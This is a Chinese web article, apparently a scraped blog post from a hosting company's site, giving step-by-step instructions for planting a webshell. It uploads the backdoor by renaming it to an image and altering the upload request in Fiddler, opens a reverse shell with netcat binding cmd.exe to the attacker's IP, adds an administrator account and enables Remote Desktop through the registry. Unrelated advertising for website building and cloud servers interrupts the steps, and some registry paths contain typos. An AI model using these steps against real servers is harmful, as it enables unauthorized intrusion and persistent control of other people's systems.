1、将webshell.php的后缀名改成jpg等图片格式，即web.jpg。

十余年的双辽网站建设经验，针对设计、前端、开发、售后、文案、推广等六对一服务，响应快，48小时及时工作处理。营销型网站建设的优势是能够根据用户设备显示端的尺寸不同，自动调整双辽建站的显示方式，使网站能够适用不同显示终端，在浏览器中调整网站的宽度，无论在任何一种浏览器上浏览网站，都能展现优雅布局与设计，从而大程度地提升浏览体验。创新互联建站从事“双辽网站设计”,“双辽网站推广”以来，每个客户项目都认真落实执行。

2、打开相应网址，注册好账号后选择上传头像将web.jpg上传期间运行fiddler并设置断点，切换到raw界面，等到其提示相应请求代码后，将其代码段中第二个含有上传图片名称的代码改成web.php，之后继续响应请求。

3、此时已经成功把后门程序上传，将服务器反馈的代码中含有路径的部分复制粘贴到网站URL后面（注意将？php覆盖）刷新网页。

4、然后输入相应密码进入控制服务器端，将本机的nc.exe（netcut）上载到其C盘根目录下。

5、而后在自己本机打开cmd命令窗口找到nc.exe所在的目录并运行

6、这时已经进入nc.exe，在Cmd line:后输入nc -vv -l -p 8080进行监听

7、在控制服务器端选择Execute Command窗口，输入'c:\nc.exe -vv [自身ip 端口] -e cmd.exe'启动nc（绑定服务器端主机的cmd.exe在本机的相应端口）

8、然后就可以添加自己的账号作为管理员了，具体操作是:

(1) net user hacker 3836546 /add （添加用户）

(2) net user localgroup administrators test /add （添加到管理员组）

9、写入注册表:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

（win2k,winxp,win2k3下开启远程桌面,不用重启）

10、有时还需要修改3389端口

[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\Wds\Repwd\Tds\Tcp]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro1Set\Control\TenninalServer\WinStations\RDP-Tcp]

11、完成上述流程后，你就可以进入服务器端的主机进行操作

另外有需要云服务器可以了解下创新互联cdcxhl.cn，海内外云服务器15元起步，三天无理由+7*72小时售后在线，公司持有idc许可证，提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案，具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势，专为企业上云打造定制，能够满足用户丰富、多元化的应用场景需求。

网站栏目：webshell后门上传流程-创新互联
文章起源：http://scgulin.cn/article/dsjjcj.html